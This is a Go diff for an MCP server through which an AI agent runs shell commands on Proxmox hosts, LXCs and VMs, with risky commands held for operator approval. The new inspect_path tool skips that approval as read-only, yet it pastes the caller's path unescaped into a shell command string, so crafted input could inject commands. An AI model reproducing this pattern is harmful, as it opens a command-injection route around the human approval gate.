|
||||||
@@ -1235,13 +547,7 @@ func resolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug string) (h
|
|||||||
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
|
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
|
||||||
return "", "", nil, fmt.Errorf("LXC not found or missing pve_id: %s", targetSlug)
|
return "", "", nil, fmt.Errorf("LXC not found or missing pve_id: %s", targetSlug)
|
||||||
}
|
}
|
||||||
hostSlug := hostAttr
|
hostSlug := resolveProxmoxHostSlug(ctx, pool, targetSlug, hostAttr)
|
||||||
if hostSlug == "" {
|
|
||||||
hostSlug = "hubris" // documented default Proxmox host when unset
|
|
||||||
}
|
|
||||||
if !strings.HasPrefix(hostSlug, "host:") {
|
|
||||||
hostSlug = "host:" + hostSlug
|
|
||||||
}
|
|
||||||
host, user, err = resolveHost(ctx, pool, hostSlug)
|
host, user, err = resolveHost(ctx, pool, hostSlug)
|
||||||
id := pveID
|
id := pveID
|
||||||
return host, user, func(cmd string) string {
|
return host, user, func(cmd string) string {
|
||||||
@@ -1249,7 +555,71 @@ func resolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug string) (h
|
|||||||
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", id, b64)
|
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", id, b64)
|
||||||
}, err
|
}, err
|
||||||
}
|
}
|
||||||
return "", "", nil, fmt.Errorf("unsupported target %q: must be host:<slug> or lxc:<slug>", targetSlug)
|
if strings.HasPrefix(targetSlug, "vm:") {
|
||||||
|
// VMs: same host-resolution chain as LXCs (attributes.host →
|
||||||
|
// `hosts` relationship → hubris default), but reached via
|
||||||
|
// `qm guest exec` instead of `pct exec`. Requires the QEMU
|
||||||
|
// guest agent running inside the VM (the standard Proxmox
|
||||||
|
// setup; ZimaOS/HAOS in this fleet already have it).
|
||||||
|
var pveID, hostAttr string
|
||||||
|
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
|
||||||
|
return "", "", nil, fmt.Errorf("VM not found or missing pve_id: %s", targetSlug)
|
||||||
|
}
|
||||||
|
hostSlug := resolveProxmoxHostSlug(ctx, pool, targetSlug, hostAttr)
|
||||||
|
host, user, err = resolveHost(ctx, pool, hostSlug)
|
||||||
|
id := pveID
|
||||||
|
return host, user, func(cmd string) string {
|
||||||
|
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||||
|
// `qm guest exec <id> -- /bin/bash -c '...'` returns JSON by
|
||||||
|
// default; pipe through `jq -r .out` if available, else cat.
|
||||||
|
// The base64 round-trip mirrors the LXC path so nested quoting
|
||||||
|
// (the original VM-target pain point — session 55927f0a) is
|
||||||
|
// handled identically to LXC dispatch.
|
||||||
|
return fmt.Sprintf(
|
||||||
|
"qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash' | jq -r '.out // .err // empty' 2>/dev/null || qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash'",
|
||||||
|
id, b64, id, b64)
|
||||||
|
}, err
|
||||||
|
}
|
||||||
|
return "", "", nil, fmt.Errorf("unsupported target %q: must be host:<slug>, lxc:<slug>, or vm:<slug>", targetSlug)
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveProxmoxHostSlug resolves the Proxmox host slug that owns a given
|
||||||
|
// LXC/VM target. Resolution order:
|
||||||
|
// 1. hostAttr if non-empty (the entity's attributes.host — stored without
|
||||||
|
// "host:" prefix in inventory.yaml and pct_create).
|
||||||
|
// 2. the `hosts` relationship on the entity (e.g. host:hubris → vm:zimaos),
|
||||||
|
// looked up in the relationships table — the canonical graph source.
|
||||||
|
// 3. "hubris" as a documented default Proxmox host fallback.
|
||||||
|
//
|
||||||
|
// Returns a slug with the "host:" prefix attached, ready for resolveHost.
|
||||||
|
// Extracted from the inline LXC path (2026-07-18) so the VM path shares the
|
||||||
|
// same chain — see plans/2026-07-18-session-review-three-sessions.md P1.6.
|
||||||
|
func resolveProxmoxHostSlug(ctx context.Context, pool *db.Pool, entitySlug, hostAttr string) string {
|
||||||
|
hostSlug := strings.TrimSpace(hostAttr)
|
||||||
|
if hostSlug == "" {
|
||||||
|
// Fall back to the `hosts` relationship — the graph edge from
|
||||||
|
// the Proxmox host to this LXC/VM. This is the canonical source
|
||||||
|
// for "who owns this VM" in inventory.yaml; the `host` attribute
|
||||||
|
// is a denormalized shortcut that not every entity has.
|
||||||
|
var relHostSlug string
|
||||||
|
// hosts relationship: source=host, target=lxc/vm. Look up the
|
||||||
|
// source slug given the target.
|
||||||
|
if err := pool.QueryRow(ctx, `
|
||||||
|
SELECT e.slug FROM relationships r
|
||||||
|
JOIN entities e ON e.id = r.source_id
|
||||||
|
WHERE r.target_id = (SELECT id FROM entities WHERE slug = $1)
|
||||||
|
AND r.type = 'hosts' AND r.valid_to IS NULL
|
||||||
|
LIMIT 1`, entitySlug).Scan(&relHostSlug); err == nil && relHostSlug != "" {
|
||||||
|
hostSlug = relHostSlug
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if hostSlug == "" {
|
||||||
|
hostSlug = "hubris" // documented default Proxmox host when unset
|
||||||
|
}
|
||||||
|
if !strings.HasPrefix(hostSlug, "host:") {
|
||||||
|
hostSlug = "host:" + hostSlug
|
||||||
|
}
|
||||||
|
return hostSlug
|
||||||
}
|
}
|
||||||
|
|
||||||
// classifyAndGate is the shared classify→execute-or-queue path for every
|
// classifyAndGate is the shared classify→execute-or-queue path for every
|
||||||
@@ -1408,6 +778,7 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
|||||||
|
|
||||||
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class=$2 WHERE entity_id=$1`, id, riskClass)
|
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class=$2 WHERE entity_id=$1`, id, riskClass)
|
||||||
createApproval(ctx, pool, id, targetID, "run", string(runParams), riskClass)
|
createApproval(ctx, pool, id, targetID, "run", string(runParams), riskClass)
|
||||||
|
markSessionAwaitingApproval(ctx, pool, sessionID)
|
||||||
confirmNote := ""
|
confirmNote := ""
|
||||||
if riskClass == policy.RiskDestructive {
|
if riskClass == policy.RiskDestructive {
|
||||||
confirmNote = " This is classified DESTRUCTIVE — flag that clearly to the operator; it needs explicit confirmation, not just a casual \"go ahead\"."
|
confirmNote = " This is classified DESTRUCTIVE — flag that clearly to the operator; it needs explicit confirmation, not just a casual \"go ahead\"."
|
||||||
@@ -1672,12 +1043,16 @@ func createApproval(ctx context.Context, pool *db.Pool, execID, targetID uuid.UU
|
|||||||
// a fresh UUID here had no matching entities row, so the INSERT silently
|
// a fresh UUID here had no matching entities row, so the INSERT silently
|
||||||
// failed, orphaning the execution and never alerting the operator. One
|
// failed, orphaning the execution and never alerting the operator. One
|
||||||
// execution maps to at most one approval, so the 1:1 identity holds.
|
// execution maps to at most one approval, so the 1:1 identity holds.
|
||||||
if _, err := pool.Exec(ctx, `
|
if err := sqlcgen.New(pool).InsertApproval(ctx, sqlcgen.InsertApprovalParams{
|
||||||
INSERT INTO approvals (entity_id, subject_entity_id, action, risk_class,
|
EntityID: execID,
|
||||||
kind, payload, status, expires_at, created_at)
|
SubjectEntityID: &targetID,
|
||||||
VALUES ($1, $2, $3, $4, 'execution', $5::jsonb, 'pending',
|
Action: action,
|
||||||
now() + interval '1 hour', now())`,
|
RiskClass: riskClass,
|
||||||
execID, targetID, action, riskClass, string(payload)); err != nil {
|
Kind: "execution",
|
||||||
|
Payload: payload,
|
||||||
|
TokenHash: nil,
|
||||||
|
ExpiresAt: time.Now().Add(time.Hour),
|
||||||
|
}); err != nil {
|
||||||
slog.Error("createApproval: insert approval", "error", err, "execution", execID)
|
slog.Error("createApproval: insert approval", "error", err, "execution", execID)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -1690,3 +1065,125 @@ func createApproval(ctx context.Context, pool *db.Pool, execID, targetID uuid.UU
|
|||||||
_ = observability.Event(ctx, sqlcgen.New(pool), "approval.created", &execID, "warning", "mcp", "",
|
_ = observability.Event(ctx, sqlcgen.New(pool), "approval.created", &execID, "warning", "mcp", "",
|
||||||
map[string]any{"action": action, "params": params, "risk_class": riskClass})
|
map[string]any{"action": action, "params": params, "risk_class": riskClass})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// markSessionAwaitingApproval flips a session to awaiting_input the moment
|
||||||
|
// one of its gated executions is queued for approval — mirrors what
|
||||||
|
// askOperator does for session_questions (cmd/nomos/store.go's askOperator),
|
||||||
|
// so a pending execution approval reads as "needs input" to both the
|
||||||
|
// frontend's Overview board (which only checks agent_sessions.status) and
|
||||||
|
// the idle-sweep safety net (staleGoalSessions, cmd/nomos/store.go, which
|
||||||
|
// already excludes awaiting_input from its stale-task sweep). Before this, a
|
||||||
|
// task blocked on a config_mutation/destructive approval just sat at
|
||||||
|
// 'executing' — indistinguishable from a task still genuinely working — so
|
||||||
|
// the idle sweep would eventually nudge it and then auto-close it with
|
||||||
|
// outcome=partial while the approval was still sitting there undecided.
|
||||||
|
// The httpapi package's DecideApproval flips the session back out once the
|
||||||
|
// approval is approved/denied/revoked (internal/httpapi/approvals.go).
|
||||||
|
//
|
||||||
|
// No-op for sessionID=="" (a direct MCP call with no nomos session) or a
|
||||||
|
// session that's already terminal/already awaiting_input — the status IN
|
||||||
|
// guard makes this safe to call unconditionally from classifyAndGate.
|
||||||
|
func markSessionAwaitingApproval(ctx context.Context, pool *db.Pool, sessionID string) {
|
||||||
|
if sessionID == "" || sessionID == "ephemeral" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
tag, err := pool.Exec(ctx, `
|
||||||
|
UPDATE agent_sessions SET status = 'awaiting_input', last_active_at = now()
|
||||||
|
WHERE id = $1 AND status IN ('active', 'planning', 'executing')`, sessionID)
|
||||||
|
if err != nil || tag.RowsAffected() == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = observability.Event(ctx, sqlcgen.New(pool), "task.status", sessionTaskEntity(ctx, pool, sessionID),
|
||||||
|
"info", "nomos", sessionID, map[string]any{"status": "awaiting_input", "reason": "execution_pending_approval"})
|
||||||
|
}
|
||||||
|
|
||||||
|
// sessionTaskEntity resolves a session's own task-entity id, for anchoring
|
||||||
|
// events to the right node in the graph — mirrors cmd/nomos/store.go's
|
||||||
|
// (unexported) taskEntityPtr; duplicated here since that's a different
|
||||||
|
// package's private method.
|
||||||
|
func sessionTaskEntity(ctx context.Context, pool *db.Pool, sessionID string) *uuid.UUID {
|
||||||
|
var id uuid.UUID
|
||||||
|
if err := pool.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, sessionID).Scan(&id); err != nil || id == uuid.Nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return &id
|
||||||
|
}
|
||||||
|
|
||||||
|
// inspectPathAcrossTargets is the bulk fact-gathering helper behind the
|
||||||
|
// inspect_path MCP tool (plans/2026-07-18-session-review-three-sessions.md
|
||||||
|
// P1.5). For each target slug, it runs a single read-only shell command
|
||||||
|
// producing mount/df/ls/stat output for the given path, and returns the
|
||||||
|
// results as a map keyed by target slug.
|
||||||
|
//
|
||||||
|
// Why this exists: sessions 1e9c7691 and 55927f0a each spent ~15 `run`
|
||||||
|
// calls gathering identical facts (`mount | grep`, `df`, `ls -la`, `stat`)
|
||||||
|
// across hosts and LXCs to trace where a path lives, who mounts it, and
|
||||||
|
// what permissions it has. One call here replaces that fan-out. All
|
||||||
|
// commands are read-only — the tool bypasses classifyAndGate and runs
|
||||||
|
// directly via sshExec against resolveExecTarget's host/wrap. Failures
|
||||||
|
// (unresolvable target, SSH error) are reported per-target in the result
|
||||||
|
// map, not as a single tool-level error, so one bad target doesn't lose
|
||||||
|
// the others.
|
||||||
|
//
|
||||||
|
// The per-target command is intentionally compact: one combined shell
|
||||||
|
// invocation that prints mount source/dest, df, ls -la of the path's
|
||||||
|
// parent + the path itself, and stat. Output is truncated to 4KB per
|
||||||
|
// target to keep the total result reasonable for an 8-target call.
|
||||||
|
func inspectPathAcrossTargets(ctx context.Context, pool *db.Pool, path string, targets []string) map[string]any {
|
||||||
|
results := make(map[string]any, len(targets))
|
||||||
|
path = strings.TrimSpace(path)
|
||||||
|
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
var mu sync.Mutex
|
||||||
|
wg.Add(len(targets))
|
||||||
|
|
||||||
|
for _, tgt := range targets {
|
||||||
|
go func(target string) {
|
||||||
|
defer wg.Done()
|
||||||
|
entry := inspectOneTarget(ctx, pool, path, target)
|
||||||
|
mu.Lock()
|
||||||
|
results[target] = entry
|
||||||
|
mu.Unlock()
|
||||||
|
}(tgt)
|
||||||
|
}
|
||||||
|
wg.Wait()
|
||||||
|
return results
|
||||||
|
}
|
||||||
|
|
||||||
|
// inspectOneTarget runs the read-only inspection for one target. Returns a
|
||||||
|
// map with keys: "ok" (bool), "output" (string, on success), "error"
|
||||||
|
// (string, on failure). Kept small so the JSON shape is stable across the
|
||||||
|
// parallel-call path.
|
||||||
|
func inspectOneTarget(ctx context.Context, pool *db.Pool, path, target string) map[string]any {
|
||||||
|
host, user, wrap, rerr := resolveExecTarget(ctx, pool, target)
|
||||||
|
if rerr != nil {
|
||||||
|
return map[string]any{"ok": false, "error": fmt.Sprintf("resolve target: %v", rerr)}
|
||||||
|
}
|
||||||
|
// One shell invocation, four sections, each guarded by `2>&1 || true`
|
||||||
|
// so a missing path doesn't kill the rest. Stat with -c gives a
|
||||||
|
// stable machine-readable line for ownership/perms; ls -la gives the
|
||||||
|
// human-readable listing of the path and its parent (so we can see
|
||||||
|
// both "what's in here" and "how the parent is laid out" — useful for
|
||||||
|
// NFS-root-vs-subdir permission mismatches, the exact issue in
|
||||||
|
// session 1e9c7691).
|
||||||
|
cmd := fmt.Sprintf(
|
||||||
|
`echo "=== mount ==="; mount 2>/dev/null | grep -- "%[1]s" || echo "(not a mount point)";
|
||||||
|
echo "=== df ==="; df -h "%[1]s" 2>&1 || true;
|
||||||
|
echo "=== stat ==="; stat -c '%%a %%U:%%G (size=%%s, type=%%F)' "%[1]s" 2>&1 || true;
|
||||||
|
echo "=== ls -la path ==="; ls -la "%[1]s" 2>&1 | head -40 || true;
|
||||||
|
echo "=== ls -la parent ==="; ls -la "$(dirname "%[1]s")" 2>&1 | head -20 || true`,
|
||||||
|
path)
|
||||||
|
out, xerr := sshExec(ctx, host, user, wrap(cmd))
|
||||||
|
if xerr != nil {
|
||||||
|
return map[string]any{"ok": false, "error": fmt.Sprintf("ssh: %v: %s", xerr, out)}
|
||||||
|
}
|
||||||
|
// Truncate per-target output to keep an 8-target call's total under
|
||||||
|
// ~32KB. 4KB per target is enough for the head -40/head -20 listings
|
||||||
|
// above; if a directory is enormous, the truncation keeps the result
|
||||||
|
// usable without flooding the model's context.
|
||||||
|
const maxPerTarget = 4096
|
||||||
|
if len(out) > maxPerTarget {
|
||||||
|
out = out[:maxPerTarget] + fmt.Sprintf("\n...truncated (%d bytes total)", len(out))
|
||||||
|
}
|
||||||
|
return map[string]any{"ok": true, "output": out}
|
||||||
|
}
|
||||||
|
|||||||
805
internal/mcp/tools.go
Normal file
805
internal/mcp/tools.go
Normal file
@@ -0,0 +1,805 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/dtoro/oikos/internal/policy"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||||
|
)
|
||||||
|
|
||||||
|
// toolReg pairs a tool definition with its handler. allTools returns a slice
|
||||||
|
// of these; newServer iterates it and registers each one wrapped with
|
||||||
|
// withActivityLogging.
|
||||||
|
type toolReg struct {
|
||||||
|
tool *mcp.Tool
|
||||||
|
handler toolHandler
|
||||||
|
}
|
||||||
|
|
||||||
|
// allTools returns every MCP tool registration. Tool definitions, schemas,
|
||||||
|
// descriptions, and handler bodies are kept verbatim from the former inline
|
||||||
|
// newServer registrations.
|
||||||
|
func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
||||||
|
return []toolReg{
|
||||||
|
{tool: &mcp.Tool{Name: "get_entity", Description: "Get an entity by slug or UUID",
|
||||||
|
InputSchema: objSchema(prop{"slug_or_id", "string", "Entity slug (e.g. host:hubris) or UUID"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
idOrSlug, _ := args["slug_or_id"].(string)
|
||||||
|
return queryEntity(ctx, pool, idOrSlug), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "list_entities", Description: "List entities filtered by type, state, or search",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"type", "string", "Filter by entity type"},
|
||||||
|
prop{"state", "string", "Filter by lifecycle state"},
|
||||||
|
prop{"q", "string", "Substring match on slug or name"},
|
||||||
|
prop{"limit", "integer", "Max rows (default 50)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
limit := int(getFloat(args, "limit", 50))
|
||||||
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
|
SELECT e.slug, e.type, e.name, e.state, e.version, e.created_at, e.updated_at
|
||||||
|
FROM entities e
|
||||||
|
WHERE ($1::text IS NULL OR e.type = $1)
|
||||||
|
AND ($2::text IS NULL OR e.state = $2)
|
||||||
|
AND ($3::text IS NULL OR e.slug ILIKE '%'||$3||'%' OR e.name ILIKE '%'||$3||'%')
|
||||||
|
ORDER BY e.slug LIMIT $4`,
|
||||||
|
nStr(args["type"]), nStr(args["state"]), nStr(args["q"]), limit), "entity_table"), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_relations", Description: "Get relationships for an entity",
|
||||||
|
InputSchema: objSchema(prop{"entity_id", "string", "Entity slug"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["entity_id"].(string)
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT r.type, src.slug AS source, tgt.slug AS target
|
||||||
|
FROM relationships r
|
||||||
|
JOIN entities src ON src.id = r.source_id
|
||||||
|
JOIN entities tgt ON tgt.id = r.target_id
|
||||||
|
WHERE (src.slug = $1 OR tgt.slug = $1) AND r.valid_to IS NULL
|
||||||
|
ORDER BY r.type`, slug), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_blast_radius", Description: "Find entities affected if this entity goes down",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"entity_id", "string", "Entity slug"},
|
||||||
|
prop{"depth", "integer", "Traversal depth (default 3)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["entity_id"].(string)
|
||||||
|
depth := int(getFloat(args, "depth", 3))
|
||||||
|
return queryRows(ctx, pool,
|
||||||
|
"SELECT e.slug, CAST(b.depth AS int) FROM blast_radius((SELECT id FROM entities WHERE slug = $1), $2) b JOIN entities e ON e.id = b.entity_id",
|
||||||
|
slug, depth), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_health_summary", Description: "Current fleet health summary",
|
||||||
|
InputSchema: objSchema(),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT e.slug, e.type, st.health, st.last_check_at
|
||||||
|
FROM entity_status st JOIN entities e ON e.id = st.entity_id
|
||||||
|
WHERE e.type <> 'check'
|
||||||
|
ORDER BY e.slug`), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_audit_trail", Description: "Query the audit log",
|
||||||
|
InputSchema: objSchema(prop{"entity_id", "string", "Filter by affected entity UUID"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT id, ts, actor_type, action, entity_id::text, method, path, correlation_id
|
||||||
|
FROM audit_log
|
||||||
|
WHERE ($1::text IS NULL OR entity_id::text = $1)
|
||||||
|
ORDER BY ts DESC LIMIT 50`, nStr(args["entity_id"])), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "search_knowledge", Description: "Full-text search across documentation (PostgreSQL FTS with ts_rank ranking). Returns a short snippet per hit, not the full note — call get_knowledge_content with the returned slug to read the whole thing.",
|
||||||
|
InputSchema: objSchema(prop{"query", "string", "Search terms"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
q := nStr(args["query"])
|
||||||
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
|
SELECT ke.title, e.slug,
|
||||||
|
ts_rank(ke.search, plainto_tsquery('english', $1)) AS rank,
|
||||||
|
ts_headline('english', ke.content, plainto_tsquery('english', $1),
|
||||||
|
'MaxWords=40, MinWords=15, ShortWord=3, MaxFragments=3,
|
||||||
|
FragmentDelimiter=" ... "') AS snippet,
|
||||||
|
ke.source, ke.tags
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE ke.search @@ plainto_tsquery('english', $1)
|
||||||
|
ORDER BY rank DESC
|
||||||
|
LIMIT 20`, q), "knowledge_results"), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_entity_knowledge", Description: "All documents, investigations, and runbooks linked to an entity. Returns a headline per note, not the full text — call get_knowledge_content with the returned slug to read the whole thing.",
|
||||||
|
InputSchema: objSchema(prop{"entity_slug", "string", "Entity slug (e.g. lxc:jellyfin, service:caddy)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["entity_slug"].(string)
|
||||||
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
|
SELECT ke.title, ke.source, e.type AS kind, e.slug,
|
||||||
|
ts_headline('english', ke.content, plainto_tsquery('english', '')) AS headline
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
JOIN relationships r ON r.source_id = ke.entity_id
|
||||||
|
JOIN entities target ON target.id = r.target_id
|
||||||
|
WHERE target.slug = $1
|
||||||
|
AND r.valid_to IS NULL
|
||||||
|
AND r.type IN ('documents', 'about')
|
||||||
|
UNION
|
||||||
|
SELECT ke.title, ke.source, e.type AS kind, e.slug,
|
||||||
|
ts_headline('english', ke.content, plainto_tsquery('english', '')) AS headline
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
JOIN relationships r ON r.source_id = ke.entity_id
|
||||||
|
JOIN entity_types target_type ON target_type.name = (SELECT type FROM entities WHERE slug = $1)
|
||||||
|
JOIN entities ent ON ent.type = target_type.name AND ent.slug = $1
|
||||||
|
WHERE r.valid_to IS NULL
|
||||||
|
AND r.type = 'procedure-for'
|
||||||
|
ORDER BY 1`, slug), "knowledge_results"), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_knowledge_content", Description: "Full markdown body of one document/investigation/runbook, by its own entity slug. search_knowledge and get_entity_knowledge only return short snippets/headlines — once you know which note you need (from either of those, or because you already know its slug), call this to read the whole thing before acting on it.",
|
||||||
|
InputSchema: objSchema(prop{"slug", "string", "The knowledge entity's own slug (e.g. document:containers/101-jellyfin, runbook:client-enrollment) — not the slug of an entity it's about."}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["slug"].(string)
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT ke.title, e.slug, e.type AS kind, ke.content, ke.source, ke.tags, ke.updated_at::text
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE e.slug = $1`, slug), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "upsert_knowledge", Description: "Write back what you learned so future sessions (and future you) benefit — this is how the system gets smarter over time. Use it AFTER solving a non-obvious problem, deploying a service, or discovering a gotcha: record the finding, the fix, and any caveats. Re-calling with the same title updates the existing note instead of duplicating. This is the ONLY way to persist knowledge; a chat message alone is forgotten. search_knowledge/get_entity_knowledge find it, get_knowledge_content reads the full body back.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"title", "string", "Short, specific, searchable title (e.g. 'Dragonfly memlock rlimit in unprivileged LXCs', not 'notes')."},
|
||||||
|
prop{"content", "string", "The knowledge itself, in markdown. Be concrete: symptom, root cause, the exact fix/commands, and any caveats. Written for someone hitting this fresh."},
|
||||||
|
prop{"about", "string", "Optional entity slug(s) this knowledge concerns. Pass a single slug (e.g. 'lxc:nfs-export') or a JSON array of slugs (e.g. '[\"lxc:nfs-export\", \"lxc:gitea\"]') to link to multiple entities. get_entity_knowledge surfaces it for each."},
|
||||||
|
prop{"tags", "string", "Optional comma-separated tags (e.g. 'docker,networking,gotcha')."},
|
||||||
|
prop{"kind", "string", "One of: investigation (a finding/incident analysis — default), document (reference), runbook (a repeatable procedure)."},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
return upsertKnowledge(ctx, pool, args)
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "update_entity_attributes", Description: "Merge new/changed attributes into an entity — the OTHER half of avoiding knowledge-base drift (upsert_knowledge records what you learned; this keeps the entity's own facts current). Use it when you discover something concrete about an entity's actual state that the graph doesn't reflect yet: a new IP, a version number, a config value, a discovered port — anything a FUTURE task would otherwise have to rediscover from scratch. Does NOT require approval (this updates the knowledge graph, not the live infrastructure). Merges shallowly — existing keys not mentioned are kept; keys you pass overwrite.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"slug", "string", "Entity slug to update (e.g. lxc:typetype, host:strong)."},
|
||||||
|
prop{"attributes", "string", "JSON object string of attributes to merge in, e.g. {\"lan_ip\":\"192.168.8.50\",\"os\":\"debian-12\"}."},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["slug"].(string)
|
||||||
|
attrsStr, _ := args["attributes"].(string)
|
||||||
|
if slug == "" || attrsStr == "" {
|
||||||
|
return textResult("error: slug and attributes are required"), nil
|
||||||
|
}
|
||||||
|
var attrs map[string]any
|
||||||
|
if err := json.Unmarshal([]byte(attrsStr), &attrs); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: attributes is not valid JSON: %v", err)), nil
|
||||||
|
}
|
||||||
|
attrsJSON, _ := json.Marshal(attrs)
|
||||||
|
ct, err := pool.Exec(ctx, `
|
||||||
|
UPDATE entities SET attributes = attributes || $2::jsonb, updated_at = now()
|
||||||
|
WHERE slug = $1`, slug, string(attrsJSON))
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error updating %s: %v", slug, err)), nil
|
||||||
|
}
|
||||||
|
if ct.RowsAffected() == 0 {
|
||||||
|
return textResult(fmt.Sprintf("error: entity %q not found", slug)), nil
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Updated %s with %d attribute(s).", slug, len(attrs))), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "create_relationship", Description: "Record a relationship you discovered between two entities — the graph-structure half of keeping the knowledge base current (alongside update_entity_attributes and upsert_knowledge). Use it when you learn that one entity depends on, hosts, routes to, etc. another, and that edge isn't in the graph yet. type must be an existing relationship type (see get_relations output on similar entities for examples: hosts, provides, depends-on, configured-by, about, documents, ...). Idempotent — re-calling the same source/target/type is a no-op. Does NOT require approval.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"source", "string", "Source entity slug."},
|
||||||
|
prop{"target", "string", "Target entity slug."},
|
||||||
|
prop{"type", "string", "Relationship type name (must already exist in the ontology)."},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
source, _ := args["source"].(string)
|
||||||
|
target, _ := args["target"].(string)
|
||||||
|
relType, _ := args["type"].(string)
|
||||||
|
